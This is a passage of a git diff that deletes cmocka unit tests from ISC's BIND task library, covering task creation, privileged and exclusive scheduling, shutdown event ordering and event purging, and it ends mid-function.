-		result = isc_symtab_lookup(st, str, 0, &value);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		assert_string_equal(str, (char *)value.as_pointer);
-	}
-
-	/*
-	 * Undefine them
-	 */
-	for (i = 0; i < 1024; i++) {
-		char str[16];
-
-		snprintf(str, sizeof(str), "%04x", i);
-		result = isc_symtab_undefine(st, str, 1);
-		assert_int_equal(result, ISC_R_SUCCESS);
-	}
-
-	/*
-	 * Retrieve them again; this should fail
-	 */
-	for (i = 0; i < 1024; i++) {
-		char str[16];
-
-		snprintf(str, sizeof(str), "%04x", i);
-		result = isc_symtab_lookup(st, str, 0, &value);
-		assert_int_equal(result, ISC_R_NOTFOUND);
-	}
-
-	isc_symtab_destroy(&st);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(symtab_grow, _setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/task_test.c b/lib/isc/tests/task_test.c
deleted file mode 100644
index 5786997147..0000000000
--- a/lib/isc/tests/task_test.c
+++ /dev/null
@@ -1,1520 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-
-#include <cmocka.h>
-
-#include <isc/atomic.h>
-#include <isc/cmocka.h>
-#include <isc/commandline.h>
-#include <isc/condition.h>
-#include <isc/managers.h>
-#include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/task.h>
-#include <isc/time.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-/* Set to true (or use -v option) for verbose output */
-static bool verbose = false;
-
-static isc_mutex_t lock;
-static isc_condition_t cv;
-
-atomic_int_fast32_t counter;
-static int active[10];
-static atomic_bool done;
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	isc_mutex_init(&lock);
-
-	isc_condition_init(&cv);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_setup2(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	isc_mutex_init(&lock);
-
-	isc_condition_init(&cv);
-
-	/* Two worker threads */
-	result = isc_test_begin(NULL, true, 2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_setup4(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	isc_mutex_init(&lock);
-
-	isc_condition_init(&cv);
-
-	/* Four worker threads */
-	result = isc_test_begin(NULL, true, 4);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-	isc_condition_destroy(&cv);
-
-	return (0);
-}
-
-static void
-set(isc_task_t *task, isc_event_t *event) {
-	atomic_int_fast32_t *value = (atomic_int_fast32_t *)event->ev_arg;
-
-	UNUSED(task);
-
-	isc_event_free(&event);
-	atomic_store(value, atomic_fetch_add(&counter, 1));
-}
-
-#include <isc/thread.h>
-
-static void
-set_and_drop(isc_task_t *task, isc_event_t *event) {
-	atomic_int_fast32_t *value = (atomic_int_fast32_t *)event->ev_arg;
-
-	UNUSED(task);
-
-	isc_event_free(&event);
-	LOCK(&lock);
-	atomic_store(value, atomic_fetch_add(&counter, 1));
-	UNLOCK(&lock);
-}
-
-/* Create a task */
-static void
-create_task(void **state) {
-	isc_result_t result;
-	isc_task_t *task = NULL;
-
-	UNUSED(state);
-
-	result = isc_task_create(taskmgr, 0, &task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_task_destroy(&task);
-	assert_null(task);
-}
-
-/* Process events */
-static void
-all_events(void **state) {
-	isc_result_t result;
-	isc_task_t *task = NULL;
-	isc_event_t *event = NULL;
-	atomic_int_fast32_t a, b;
-	int i = 0;
-
-	UNUSED(state);
-
-	atomic_init(&counter, 1);
-	atomic_init(&a, 0);
-	atomic_init(&b, 0);
-
-	result = isc_task_create(taskmgr, 0, &task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* First event */
-	event = isc_event_allocate(test_mctx, task, ISC_TASKEVENT_TEST, set, &a,
-				   sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&a), 0);
-	isc_task_send(task, &event);
-
-	event = isc_event_allocate(test_mctx, task, ISC_TASKEVENT_TEST, set, &b,
-				   sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&b), 0);
-	isc_task_send(task, &event);
-
-	while ((atomic_load(&a) == 0 || atomic_load(&b) == 0) && i++ < 5000) {
-		isc_test_nap(1000);
-	}
-
-	assert_int_not_equal(atomic_load(&a), 0);
-	assert_int_not_equal(atomic_load(&b), 0);
-
-	isc_task_destroy(&task);
-	assert_null(task);
-}
-
-/* Privileged events */
-static void
-privileged_events(void **state) {
-	isc_result_t result;
-	isc_task_t *task1 = NULL, *task2 = NULL;
-	isc_event_t *event = NULL;
-	atomic_int_fast32_t a, b, c, d, e;
-	int i = 0;
-
-	UNUSED(state);
-
-	atomic_init(&counter, 1);
-	atomic_init(&a, -1);
-	atomic_init(&b, -1);
-	atomic_init(&c, -1);
-	atomic_init(&d, -1);
-	atomic_init(&e, -1);
-
-	/*
-	 * Pause the net/task manager so we can fill up the work
-	 * queue without things happening while we do it.
-	 */
-	isc_nm_pause(netmgr);
-	isc_taskmgr_setmode(taskmgr, isc_taskmgrmode_privileged);
-
-	result = isc_task_create(taskmgr, 0, &task1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_task_setname(task1, "privileged", NULL);
-	assert_false(isc_task_getprivilege(task1));
-	isc_task_setprivilege(task1, true);
-	assert_true(isc_task_getprivilege(task1));
-
-	result = isc_task_create(taskmgr, 0, &task2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_task_setname(task2, "normal", NULL);
-	assert_false(isc_task_getprivilege(task2));
-
-	/* First event: privileged */
-	event = isc_event_allocate(test_mctx, task1, ISC_TASKEVENT_TEST, set,
-				   &a, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&a), -1);
-	isc_task_send(task1, &event);
-
-	/* Second event: not privileged */
-	event = isc_event_allocate(test_mctx, task2, ISC_TASKEVENT_TEST, set,
-				   &b, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&b), -1);
-	isc_task_send(task2, &event);
-
-	/* Third event: privileged */
-	event = isc_event_allocate(test_mctx, task1, ISC_TASKEVENT_TEST, set,
-				   &c, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&c), -1);
-	isc_task_send(task1, &event);
-
-	/* Fourth event: privileged */
-	event = isc_event_allocate(test_mctx, task1, ISC_TASKEVENT_TEST, set,
-				   &d, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&d), -1);
-	isc_task_send(task1, &event);
-
-	/* Fifth event: not privileged */
-	event = isc_event_allocate(test_mctx, task2, ISC_TASKEVENT_TEST, set,
-				   &e, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&e), -1);
-	isc_task_send(task2, &event);
-
-	isc_nm_resume(netmgr);
-
-	/* We're waiting for *all* variables to be set */
-	while ((atomic_load(&a) < 0 || atomic_load(&b) < 0 ||
-		atomic_load(&c) < 0 || atomic_load(&d) < 0 ||
-		atomic_load(&e) < 0) &&
-	       i++ < 5000)
-	{
-		isc_test_nap(1000);
-	}
-
-	/*
-	 * We can't guarantee what order the events fire, but
-	 * we do know the privileged tasks that set a, c, and d
-	 * would have fired first.
-	 */
-	assert_true(atomic_load(&a) <= 3);
-	assert_true(atomic_load(&c) <= 3);
-	assert_true(atomic_load(&d) <= 3);
-
-	/* ...and the non-privileged tasks that set b and e, last */
-	assert_true(atomic_load(&b) > 3);
-	assert_true(atomic_load(&e) > 3);
-
-	assert_int_equal(atomic_load(&counter), 6);
-
-	isc_task_setprivilege(task1, false);
-	assert_false(isc_task_getprivilege(task1));
-
-	isc_task_destroy(&task1);
-	assert_null(task1);
-	isc_task_destroy(&task2);
-	assert_null(task2);
-}
-
-/*
- * Edge case: this tests that the task manager behaves as expected when
- * we explicitly set it into normal mode *while* running privileged.
- */
-static void
-privilege_drop(void **state) {
-	isc_result_t result;
-	isc_task_t *task1 = NULL, *task2 = NULL;
-	isc_event_t *event = NULL;
-	atomic_int_fast32_t a, b, c, d, e; /* non valid states */
-	int i = 0;
-
-	UNUSED(state);
-
-	atomic_init(&counter, 1);
-	atomic_init(&a, -1);
-	atomic_init(&b, -1);
-	atomic_init(&c, -1);
-	atomic_init(&d, -1);
-	atomic_init(&e, -1);
-
-	/*
-	 * Pause the net/task manager so we can fill up the work queue
-	 * without things happening while we do it.
-	 */
-	isc_nm_pause(netmgr);
-	isc_taskmgr_setmode(taskmgr, isc_taskmgrmode_privileged);
-
-	result = isc_task_create(taskmgr, 0, &task1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_task_setname(task1, "privileged", NULL);
-	assert_false(isc_task_getprivilege(task1));
-	isc_task_setprivilege(task1, true);
-	assert_true(isc_task_getprivilege(task1));
-
-	result = isc_task_create(taskmgr, 0, &task2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_task_setname(task2, "normal", NULL);
-	assert_false(isc_task_getprivilege(task2));
-
-	/* First event: privileged */
-	event = isc_event_allocate(test_mctx, task1, ISC_TASKEVENT_TEST,
-				   set_and_drop, &a, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&a), -1);
-	isc_task_send(task1, &event);
-
-	/* Second event: not privileged */
-	event = isc_event_allocate(test_mctx, task2, ISC_TASKEVENT_TEST,
-				   set_and_drop, &b, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&b), -1);
-	isc_task_send(task2, &event);
-
-	/* Third event: privileged */
-	event = isc_event_allocate(test_mctx, task1, ISC_TASKEVENT_TEST,
-				   set_and_drop, &c, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&c), -1);
-	isc_task_send(task1, &event);
-
-	/* Fourth event: privileged */
-	event = isc_event_allocate(test_mctx, task1, ISC_TASKEVENT_TEST,
-				   set_and_drop, &d, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&d), -1);
-	isc_task_send(task1, &event);
-
-	/* Fifth event: not privileged */
-	event = isc_event_allocate(test_mctx, task2, ISC_TASKEVENT_TEST,
-				   set_and_drop, &e, sizeof(isc_event_t));
-	assert_non_null(event);
-
-	assert_int_equal(atomic_load(&e), -1);
-	isc_task_send(task2, &event);
-
-	isc_nm_resume(netmgr);
-
-	/* We're waiting for all variables to be set. */
-	while ((atomic_load(&a) == -1 || atomic_load(&b) == -1 ||
-		atomic_load(&c) == -1 || atomic_load(&d) == -1 ||
-		atomic_load(&e) == -1) &&
-	       i++ < 5000)
-	{
-		isc_test_nap(1000);
-	}
-
-	/*
-	 * We need to check that all privilege mode events were fired
-	 * in privileged mode, and non privileged in non-privileged.
-	 */
-	assert_true(atomic_load(&a) <= 3);
-	assert_true(atomic_load(&c) <= 3);
-	assert_true(atomic_load(&d) <= 3);
-
-	/* ...and neither of the non-privileged tasks did... */
-	assert_true(atomic_load(&b) > 3);
-	assert_true(atomic_load(&e) > 3);
-
-	/* ...but all five of them did run. */
-	assert_int_equal(atomic_load(&counter), 6);
-
-	isc_task_destroy(&task1);
-	assert_null(task1);
-	isc_task_destroy(&task2);
-	assert_null(task2);
-}
-
-/*
- * Basic task functions:
- */
-static void
-basic_cb(isc_task_t *task, isc_event_t *event) {
-	int i, j;
-
-	UNUSED(task);
-
-	j = 0;
-	for (i = 0; i < 1000000; i++) {
-		j += 100;
-	}
-
-	UNUSED(j);
-
-	if (verbose) {
-		print_message("# task %s\n", (char *)event->ev_arg);
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-basic_shutdown(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	if (verbose) {
-		print_message("# shutdown %s\n", (char *)event->ev_arg);
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-basic_tick(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	if (verbose) {
-		print_message("# %s\n", (char *)event->ev_arg);
-	}
-
-	isc_event_free(&event);
-}
-
-static char one[] = "1";
-static char two[] = "2";
-static char three[] = "3";
-static char four[] = "4";
-static char tick[] = "tick";
-static char tock[] = "tock";
-
-static void
-basic(void **state) {
-	isc_result_t result;
-	isc_task_t *task1 = NULL;
-	isc_task_t *task2 = NULL;
-	isc_task_t *task3 = NULL;
-	isc_task_t *task4 = NULL;
-	isc_event_t *event = NULL;
-	isc_timer_t *ti1 = NULL;
-	isc_timer_t *ti2 = NULL;
-	isc_time_t absolute;
-	isc_interval_t interval;
-	char *testarray[] = { one, one, one,   one,  one, one,	 one,  one,
-			      one, two, three, four, two, three, four, NULL };
-	int i;
-
-	UNUSED(state);
-
-	result = isc_task_create(taskmgr, 0, &task1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_task_create(taskmgr, 0, &task2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_task_create(taskmgr, 0, &task3);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_task_create(taskmgr, 0, &task4);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_onshutdown(task1, basic_shutdown, one);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_task_onshutdown(task2, basic_shutdown, two);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_task_onshutdown(task3, basic_shutdown, three);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_task_onshutdown(task4, basic_shutdown, four);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_time_settoepoch(&absolute);
-	isc_interval_set(&interval, 1, 0);
-	result = isc_timer_create(timermgr, isc_timertype_ticker, &absolute,
-				  &interval, task1, basic_tick, tick, &ti1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	ti2 = NULL;
-	isc_time_settoepoch(&absolute);
-	isc_interval_set(&interval, 1, 0);
-	result = isc_timer_create(timermgr, isc_timertype_ticker, &absolute,
-				  &interval, task2, basic_tick, tock, &ti2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	sleep(2);
-
-	for (i = 0; testarray[i] != NULL; i++) {
-		/*
-		 * Note:  (void *)1 is used as a sender here, since some
-		 * compilers don't like casting a function pointer to a
-		 * (void *).
-		 *
-		 * In a real use, it is more likely the sender would be a
-		 * structure (socket, timer, task, etc) but this is just a
-		 * test program.
-		 */
-		event = isc_event_allocate(test_mctx, (void *)1, 1, basic_cb,
-					   testarray[i], sizeof(*event));
-		assert_non_null(event);
-		isc_task_send(task1, &event);
-	}
-
-	(void)isc_task_purge(task3, NULL, 0, 0);
-
-	isc_task_detach(&task1);
-	isc_task_detach(&task2);
-	isc_task_detach(&task3);
-	isc_task_detach(&task4);
-
-	sleep(10);
-	isc_timer_detach(&ti1);
-	isc_timer_detach(&ti2);
-}
-
-/*
- * Exclusive mode test:
- * When one task enters exclusive mode, all other active
- * tasks complete first.
- */
-static int
-spin(int n) {
-	int i;
-	int r = 0;
-	for (i = 0; i < n; i++) {
-		r += i;
-		if (r > 1000000) {
-			r = 0;
-		}
-	}
-	return (r);
-}
-
-static void
-exclusive_cb(isc_task_t *task, isc_event_t *event) {
-	int taskno = *(int *)(event->ev_arg);
-
-	if (verbose) {
-		print_message("# task enter %d\n", taskno);
-	}
-
-	/* task chosen from the middle of the range */
-	if (taskno == 6) {
-		isc_result_t result;
-		int i;
-
-		result = isc_task_beginexclusive(task);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		for (i = 0; i < 10; i++) {
-			assert_int_equal(active[i], 0);
-		}
-
-		isc_task_endexclusive(task);
-		atomic_store(&done, true);
-	} else {
-		active[taskno]++;
-		(void)spin(10000000);
-		active[taskno]--;
-	}
-
-	if (verbose) {
-		print_message("# task exit %d\n", taskno);
-	}
-
-	if (atomic_load(&done)) {
-		isc_mem_put(event->ev_destroy_arg, event->ev_arg, sizeof(int));
-		isc_event_free(&event);
-		atomic_fetch_sub(&counter, 1);
-	} else {
-		isc_task_send(task, &event);
-	}
-}
-
-static void
-task_exclusive(void **state) {
-	isc_task_t *tasks[10];
-	isc_result_t result;
-	int i;
-
-	UNUSED(state);
-
-	atomic_init(&counter, 0);
-
-	for (i = 0; i < 10; i++) {
-		isc_event_t *event = NULL;
-		int *v;
-
-		tasks[i] = NULL;
-
-		if (i == 6) {
-			/* task chosen from the middle of the range */
-			result = isc_task_create_bound(taskmgr, 0, &tasks[i],
-						       0);
-			assert_int_equal(result, ISC_R_SUCCESS);
-
-			isc_taskmgr_setexcltask(taskmgr, tasks[6]);
-		} else {
-			result = isc_task_create(taskmgr, 0, &tasks[i]);
-			assert_int_equal(result, ISC_R_SUCCESS);
-		}
-
-		v = isc_mem_get(test_mctx, sizeof *v);
-		assert_non_null(v);
-
-		*v = i;
-
-		event = isc_event_allocate(test_mctx, NULL, 1, exclusive_cb, v,
-					   sizeof(*event));
-		assert_non_null(event);
-
-		isc_task_send(tasks[i], &event);
-		atomic_fetch_add(&counter, 1);
-	}
-
-	for (i = 0; i < 10; i++) {
-		isc_task_detach(&tasks[i]);
-	}
-
-	while (atomic_load(&counter) > 0) {
-		isc_test_nap(1000);
-	}
-}
-
-/*
- * Max tasks test:
- * The task system can create and execute many tasks. Tests with 10000.
- */
-static void
-maxtask_shutdown(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	if (event->ev_arg != NULL) {
-		isc_task_destroy((isc_task_t **)&event->ev_arg);
-	} else {
-		LOCK(&lock);
-		atomic_store(&done, true);
-		SIGNAL(&cv);
-		UNLOCK(&lock);
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-maxtask_cb(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-
-	if (event->ev_arg != NULL) {
-		isc_task_t *newtask = NULL;
-
-		event->ev_arg = (void *)(((uintptr_t)event->ev_arg) - 1);
-
-		/*
-		 * Create a new task and forward the message.
-		 */
-		result = isc_task_create(taskmgr, 0, &newtask);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		result = isc_task_onshutdown(newtask, maxtask_shutdown,
-					     (void *)task);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		isc_task_send(newtask, &event);
-	} else if (task != NULL) {
-		isc_task_destroy(&task);
-		isc_event_free(&event);
-	}
-}
-
-static void
-manytasks(void **state) {
-	isc_mem_t *mctx = NULL;
-	isc_event_t *event = NULL;
-	uintptr_t ntasks = 10000;
-
-	UNUSED(state);
-
-	if (verbose) {
-		print_message("# Testing with %lu tasks\n",
-			      (unsigned long)ntasks);
-	}
-
-	isc_mutex_init(&lock);
-	isc_condition_init(&cv);
-
-	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
-	isc_mem_create(&mctx);
-
-	isc_managers_create(mctx, 4, 0, 0, &netmgr, &taskmgr, NULL, NULL);
-
-	atomic_init(&done, false);
-
-	event = isc_event_allocate(mctx, (void *)1, 1, maxtask_cb,
-				   (void *)ntasks, sizeof(*event));
-	assert_non_null(event);
-
-	LOCK(&lock);
-	maxtask_cb(NULL, event);
-	while (!atomic_load(&done)) {
-		WAIT(&cv, &lock);
-	}
-	UNLOCK(&lock);
-
-	isc_managers_destroy(&netmgr, &taskmgr, NULL, NULL);
-
-	isc_mem_destroy(&mctx);
-	isc_condition_destroy(&cv);
-	isc_mutex_destroy(&lock);
-}
-
-/*
- * Shutdown test:
- * When isc_task_shutdown() is called, shutdown events are posted
- * in LIFO order.
- */
-
-static int nevents = 0;
-static int nsdevents = 0;
-static int senders[4];
-atomic_bool ready, all_done;
-
-static void
-sd_sde1(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	assert_int_equal(nevents, 256);
-	assert_int_equal(nsdevents, 1);
-	++nsdevents;
-
-	if (verbose) {
-		print_message("# shutdown 1\n");
-	}
-
-	isc_event_free(&event);
-
-	atomic_store(&all_done, true);
-}
-
-static void
-sd_sde2(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	assert_int_equal(nevents, 256);
-	assert_int_equal(nsdevents, 0);
-	++nsdevents;
-
-	if (verbose) {
-		print_message("# shutdown 2\n");
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-sd_event1(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	LOCK(&lock);
-	while (!atomic_load(&ready)) {
-		WAIT(&cv, &lock);
-	}
-	UNLOCK(&lock);
-
-	if (verbose) {
-		print_message("# event 1\n");
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-sd_event2(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	++nevents;
-
-	if (verbose) {
-		print_message("# event 2\n");
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-task_shutdown(void **state) {
-	isc_result_t result;
-	isc_eventtype_t event_type;
-	isc_event_t *event = NULL;
-	isc_task_t *task = NULL;
-	int i;
-
-	UNUSED(state);
-
-	nevents = nsdevents = 0;
-	event_type = 3;
-	atomic_init(&ready, false);
-	atomic_init(&all_done, false);
-
-	LOCK(&lock);
-
-	result = isc_task_create(taskmgr, 0, &task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * This event causes the task to wait on cv.
-	 */
-	event = isc_event_allocate(test_mctx, &senders[1], event_type,
-				   sd_event1, NULL, sizeof(*event));
-	assert_non_null(event);
-	isc_task_send(task, &event);
-
-	/*
-	 * Now we fill up the task's event queue with some events.
-	 */
-	for (i = 0; i < 256; ++i) {
-		event = isc_event_allocate(test_mctx, &senders[1], event_type,
-					   sd_event2, NULL, sizeof(*event));
-		assert_non_null(event);
-		isc_task_send(task, &event);
-	}
-
-	/*
-	 * Now we register two shutdown events.
-	 */
-	result = isc_task_onshutdown(task, sd_sde1, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_onshutdown(task, sd_sde2, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_task_shutdown(task);
-	isc_task_detach(&task);
-
-	/*
-	 * Now we free the task by signaling cv.
-	 */
-	atomic_store(&ready, true);
-	SIGNAL(&cv);
-	UNLOCK(&lock);
-
-	while (!atomic_load(&all_done)) {
-		isc_test_nap(1000);
-	}
-
-	assert_int_equal(nsdevents, 2);
-}
-
-/*
- * Post-shutdown test:
- * After isc_task_shutdown() has been called, any call to
- * isc_task_onshutdown() will return ISC_R_SHUTTINGDOWN.
- */
-static void
-psd_event1(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	LOCK(&lock);
-
-	while (!atomic_load(&done)) {
-		WAIT(&cv, &lock);
-	}
-
-	UNLOCK(&lock);
-
-	isc_event_free(&event);
-}
-
-static void
-psd_sde(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	isc_event_free(&event);
-}
-
-static void
-post_shutdown(void **state) {
-	isc_result_t result;
-	isc_eventtype_t event_type;
-	isc_event_t *event;
-	isc_task_t *task;
-
-	UNUSED(state);
-
-	atomic_init(&done, false);
-	event_type = 4;
-
-	isc_condition_init(&cv);
-
-	LOCK(&lock);
-
-	task = NULL;
-	result = isc_task_create(taskmgr, 0, &task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * This event causes the task to wait on cv.
-	 */
-	event = isc_event_allocate(test_mctx, &senders[1], event_type,
-				   psd_event1, NULL, sizeof(*event));
-	assert_non_null(event);
-	isc_task_send(task, &event);
-
-	isc_task_shutdown(task);
-
-	result = isc_task_onshutdown(task, psd_sde, NULL);
-	assert_int_equal(result, ISC_R_SHUTTINGDOWN);
-
-	/*
-	 * Release the task.
-	 */
-	atomic_store(&done, true);
-
-	SIGNAL(&cv);
-	UNLOCK(&lock);
-
-	isc_task_detach(&task);
-}
-
-/*
- * Helper for the purge tests below:
- */
-
-#define SENDERCNT 3
-#define TYPECNT	  4
-#define TAGCNT	  5
-#define NEVENTS	  (SENDERCNT * TYPECNT * TAGCNT)
-
-static bool testrange;
-static void *purge_sender;
-static isc_eventtype_t purge_type_first;
-static isc_eventtype_t purge_type_last;
-static void *purge_tag;
-static int eventcnt;
-
-atomic_bool started;
-
-static void
-pg_event1(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	LOCK(&lock);
-	while (!atomic_load(&started)) {
-		WAIT(&cv, &lock);
-	}
-	UNLOCK(&lock);
-
-	isc_event_free(&event);
-}
-
-static void
-pg_event2(isc_task_t *task, isc_event_t *event) {
-	bool sender_match = false;
-	bool type_match = false;
-	bool tag_match = false;
-
-	UNUSED(task);
-
-	if ((purge_sender == NULL) || (purge_sender == event->ev_sender)) {
-		sender_match = true;
-	}
-
-	if (testrange) {
-		if ((purge_type_first <= event->ev_type) &&
-		    (event->ev_type <= purge_type_last)) {
-			type_match = true;
-		}
-	} else {
-		if (purge_type_first == event->ev_type) {
-			type_match = true;
-		}
-	}
-
-	if ((purge_tag == NULL) || (purge_tag == event->ev_tag)) {
-		tag_match = true;
-	}
-
-	if (sender_match && type_match && tag_match) {
-		if ((event->ev_attributes & ISC_EVENTATTR_NOPURGE) != 0) {
-			if (verbose) {
-				print_message("# event %p,%d,%p "
-					      "matched but was not "
-					      "purgeable\n",
-					      event->ev_sender,
-					      (int)event->ev_type,
-					      event->ev_tag);
-			}
-			++eventcnt;
-		} else if (verbose) {
-			print_message("# event %p,%d,%p not purged\n",
-				      event->ev_sender, (int)event->ev_type,
-				      event->ev_tag);
-		}
-	} else {
-		++eventcnt;
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-pg_sde(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	LOCK(&lock);
-	atomic_store(&done, true);
-	SIGNAL(&cv);
-	UNLOCK(&lock);
-
-	isc_event_free(&event);
-}
-
-static void
-test_purge(int sender, int type, int tag, int exp_purged) {
-	isc_result_t result;
-	isc_task_t *task = NULL;
-	isc_event_t *eventtab[NEVENTS];
-	isc_event_t *event = NULL;
-	isc_interval_t interval;
-	isc_time_t now;
-	int sender_cnt, type_cnt, tag_cnt, event_cnt, i;
-	int purged = 0;
-
-	atomic_init(&started, false);
-	atomic_init(&done, false);
-	eventcnt = 0;
-
-	isc_condition_init(&cv);
-
-	result = isc_task_create(taskmgr, 0, &task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_onshutdown(task, pg_sde, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Block the task on cv.
-	 */
-	event = isc_event_allocate(test_mctx, (void *)1, 9999, pg_event1, NULL,
-				   sizeof(*event));
-
-	assert_non_null(event);
-	isc_task_send(task, &event);
-
-	/*
-	 * Fill the task's queue with some messages with varying
-	 * sender, type, tag, and purgeable attribute values.
-	 */
-	event_cnt = 0;
-	for (sender_cnt = 0; sender_cnt < SENDERCNT; ++sender_cnt) {
-		for (type_cnt = 0; type_cnt < TYPECNT; ++type_cnt) {
-			for (tag_cnt = 0; tag_cnt < TAGCNT; ++tag_cnt) {
-				eventtab[event_cnt] = isc_event_allocate(
-					test_mctx,
-					&senders[sender + sender_cnt],
-					(isc_eventtype_t)(type + type_cnt),
-					pg_event2, NULL, sizeof(*event));
-
-				assert_non_null(eventtab[event_cnt]);
-
-				eventtab[event_cnt]->ev_tag =
-					(void *)((uintptr_t)tag + tag_cnt);
-
-				/*
-				 * Mark events as non-purgeable if
-				 * sender, type and tag are all
-				 * odd-numbered. (There should be 4
-				 * of these out of 60 events total.)
-				 */
-				if (((sender_cnt % 2) != 0) &&
-				    ((type_cnt % 2) != 0) &&
-				    ((tag_cnt % 2) != 0)) {
-					eventtab[event_cnt]->ev_attributes |=
-						ISC_EVENTATTR_NOPURGE;
-				}
-				++event_cnt;
-			}
-		}
-	}
-
-	for (i = 0; i < event_cnt; ++i) {
-		isc_task_send(task, &eventtab[i]);
-	}
-
-	if (testrange) {
-		/*
-		 * We're testing isc_task_purgerange.
-		 */
-		purged = isc_task_purgerange(
-			task, purge_sender, (isc_eventtype_t)purge_type_first,
-			(isc_eventtype_t)purge_type_last, purge_tag);
-		assert_int_equal(purged, exp_purged);
-	} else {
-		/*
-		 * We're testing isc_task_purge.
-		 */
-		if (verbose) {
-			print_message("# purge events %p,%u,%p\n", purge_sender,
-				      purge_type_first, purge_tag);
-		}
-		purged = isc_task_purge(task, purge_sender,
-					(isc_eventtype_t)purge_type_first,
-					purge_tag);
-		if (verbose) {
-			print_message("# purged %d expected %d\n", purged,
-				      exp_purged);
-		}
-
-		assert_int_equal(purged, exp_purged);
-	}
-
-	/*
-	 * Unblock the task, allowing event processing.
-	 */
-	LOCK(&lock);
-	atomic_store(&started, true);
